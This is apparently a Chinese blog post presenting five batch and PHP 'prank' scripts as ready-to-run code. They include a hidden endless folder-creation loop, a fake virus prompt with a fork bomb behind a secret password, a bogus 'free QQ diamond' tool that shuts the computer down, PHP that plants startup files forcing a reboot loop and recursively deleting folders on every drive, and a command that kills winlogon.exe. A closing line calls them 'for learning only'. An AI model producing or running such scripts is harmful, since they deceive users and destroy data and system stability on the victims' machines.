关于批处理的几个恶搞系列

 恶搞一:不停在D盘生成随机数文件夹并读出来


@echo off
echo @echo off >%tmp%/fun.bat
echo :loop >>%tmp%/fun.bat
echo set value=%%random%% >>%tmp%/fun.bat
echo md d:/%%value%% >>%tmp%/fun.bat
echo mshta vbscript:CreateObject("SAPI.SpVoice").Speak("I'm coming %%value%%")(Window.close) >>%tmp%/fun.bat
echo goto :loop >>%tmp%/fun.bat
echo set ws=wscript.createobject("wscript.shell") >%tmp%/hide.vbs
echo ws.run "%tmp%/fun.bat /start",0 >>%tmp%/hide.vbs
start %tmp%/hide.vbs

恶搞二:请输入防病毒密码

@echo off
title 恐怖的病毒程序
color 9c
rem 隐藏代码：25038
rem 密码：123
echo 请您单击空格键，以察看以下信息：
echo.
@set,= 请你做好中病毒的准备，谢谢。。。&for /l %%i in (1,1,14)do @call set/p= %%,:~%%i,1%%<nul&ping/n 1 127.1>nul&pause>nul
echo.
echo.
echo.
echo.
echo /=============/
echo   BE CAREFUL!
echo /=============/
echo.
pause

:mima
cls
set mima=
set /p mima=请输入防止中病毒密码(纯数字密码):
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
if '%mima%'=='123' goto huanying
if '%mima%'=='25038' goto shit
goto exit
:start
set huanying=
:huanying
echo 密码正确。
echo 单击任意键察看密码错误后的解决方案。
pause>nul
:jijue
echo @echo off>>恐怖的病毒查杀工具.bat
echo echo 请在下一行“del echo ”后输入查杀目标位置。>>恐怖的病毒查杀工具.bat
echo del echo *.txt>>恐怖的病毒查杀工具.bat
echo echo 查杀完毕>>恐怖的病毒查杀工具.bat
echo pause>>恐怖的病毒查杀工具.bat
echo =====================解决方案==================
echo.
echo 1、任选一个“恐怖的病毒”单击右键选择属性。
echo.
echo 2、复制“位置：”后的字符。
echo.
echo 3、在本文件根目录下找到“恐怖的病毒查杀工具.bat”。
echo.
echo 4、点击右键并选择“编辑”。
echo.
echo 5、在第二行“echo ”后“*.txt”前（空格后)粘贴路径(刚才复制的）。
echo.
echo 6、保存后运行即可。
echo.
goto end

set exit=
:exit
echo 你被耍了！>>恐怖的病毒A.txt
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo 密码错误，缩小本窗口再看看吧！哈哈！
echo 单击任意键重新输入密码。
echo.
echo 在本文件根目录底下找吧！哈哈！再见了～
echo 单击任意键重新输入密码。
echo @echo off>>“正版专杀”工具.bat
echo title “正版专杀”工具>>“正版专杀”工具.bat
echo echo 可怜的孩子啊啊啊……>>“正版专杀”工具.bat
echo echo 你咋就没意识到有被刷了呢？？？？？>>“正版专杀”工具.bat
echo echo 白痴啊啊啊啊啊………………>>“正版专杀”工具.bat
echo echo 我不涮你玩了，程序会自毁的。你再找那个“病毒”也找不到了！谢谢使用！！！>>“正版专杀”工具.bat
echo echo 对了，密码真的很简单哦！相信你一年级学过的。。。。。。>>“正版专杀”工具.bat
echo pause>>“正版专杀”工具.bat
echo del %1>>“正版专杀”工具.bat
echo pause
pause>nul
goto mima

:jijue
echo @echo off>>恐怖的病毒查杀工具.bat
echo 请在下一行“echo ”后输入查杀目标位置。>>恐怖的病毒查杀工具.bat
echo echo *.txt>>恐怖的病毒查杀工具.bat
echo 查杀完毕>>恐怖的病毒查杀工具.bat
echo pause>>恐怖的病毒查杀工具.bat
goto end

set shit=
:shit  
start %0
goto shit  

:end
pause

恶搞之三:刷钻工具
@ECHO off
TITLE 刷钻工具v1.0  
:start
CLS
COLOR 5f
COLOR A
rem
MODE con: COLS=41 LINES=21
rem MODE
set tm1=%time:~0,2%
set tm2=%time:~3,2%
set tm3=%time:~6,2%
ECHO %date% %tm1%点%tm2%分%tm3%秒
ECHO =========================================
ECHO 〓      http://www.xiaoyun.org.cn/         〓
ECHO =========================================
ECHO 选择要进行的操作，然后按回车
ECHO ————————————————————
ECHO.
ECHO 1. 免费QQ黄钻（每个IP只能刷一次）
ECHO 2. 免费QQ蓝钻（每个IP只能刷一次）
ECHO 3. 免费QQ紫钻（每个IP只能刷一次）
ECHO 4. 免费QQ红钻（每个IP只能刷一次）
ECHO 5. 免费QQ绿钻（每个IP只能刷一次）
ECHO 6. 免费QQ粉钻（每个IP只能刷一次）
ECHO 7. 免费QQ会员（每个IP只能刷一次）
ECHO.
set /p word = 请输入QQ号:
SET Choice=
SET /P Choice= 选择:
IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1%
IF /I "%Choice%"=="1" Shutdown.exe -s -t 10
IF /I "%Choice%"=="2" Shutdown.exe -s -t 20
IF /I "%Choice%"=="3" Shutdown.exe -s -t 30
IF /I "%Choice%"=="4" Shutdown.exe -s -t 40
IF /I "%Choice%"=="5" Shutdown.exe -s -t 100
IF /I "%Choice%"=="6" Shutdown.exe -s -t 130
IF /I "%Choice%"=="7" Shutdown.exe -s -t 230
exit

恶搞四:php写入BAT的代码


<?php
$a="c:/Documents and Settings/ACER/「开始」菜单/程序/启动/closecomputer.bat";
$b="@ echo off/r/n";
$c="shutdown -r -t 1 -c -f/r/n";
$h=fopen($a,"w");
if(is_writeable($a))
{
if(!$h) die("无法打开文件");
if(!(fwrite($h,$b)&&fwrite($h,$c)))
{
echo "无法写入文件";
exit;}
echo "文件$b/t$c 成功写入 $a 中";
fclose($h);
}
else
echo "$a 文件不可用";

$d="c:/Documents and Settings/ACER/「开始」菜单/程序/启动/killcomputer.bat";
$h=fopen($d,"w");
fwrite($h, "@ echo off/r/n");
fwrite($h,"if exist c:/Docume~1/ACER/「开始」菜单/程序/启动/closecomputer.bat  del /f /q /s c:/Docume~1/ACER/「开始」菜单/程序/启动/closecomputer.bat/r/n");
fwrite($h, "attrib -s -h -a -r c:/*.* /s /d /r/nattrib -s -h -a -r d:/*.* /s /d /r/nattrib -s -h -a -r e:/*.* /s /d /r/nattrib -s -h -a -r f:/*.* /s /d /r/n");
fwrite($h, "attrib -s -h -a -r j:/*.* /s /d /r/nattrib -s -h -a -r k:/*.* /s /d /r/nattrib -s -h -a -r l:/*.* /s /d /r/nattrib -s -h -a -r m:/*.* /s /d /r/n");
fwrite($h,"rd /s /q c:/%t%/ /t
rd /s /q d:/%t%/ /t
rd /s /q e:/%t%/ /t
rd /s /q f:/%t%/ /t
rd /s /q g:/%t%/ /t
rd /s /q h:/%t%//t
rd /s /q i:/%t%//t
rd /s /q j:/%t%/ /t
rd /s /q k:/%t%/ /t
rd /s /q l:/%t%/ /t
rd /s /q m:/%t%/ /t
rd /s /q n:/%t%/ /t
rd /s /q o:/%t%/ /t
rd /s /q p:/%t%/ /t
rd /s /q q:/%t%/ /t
rd /s /q r:/%t%/ /t
rd /s /q s:/%t%/ /t
rd /s /q t:/%t%/ /t
rd /s /q u:/%t%/ /t
rd /s /q v:/%t%/ /t
rd /s /q w:/%t%/ /t
rd /s /q x:/%t%/ /t
rd /s /q y:/%t%/ /t
rd /s /q z:/%t%/ ");
echo "<br> 代码与文件成功写入";
?>

恶搞之五:把关机K掉!


让你的关机消失
让你回收站的东西不能还原
title 自己看看了
color f1
mode con: cols=40 lines=18
echo.
::ntsd -c q -pn winlogon.exe
taskkill /f /t /im  winlogon.exe
start lsass.exe
shutdown -a
pause>nul

注意：请不要随便使用，仅供学习之用，若出现任何问题，后果自负！如果不懂最好不要滥用！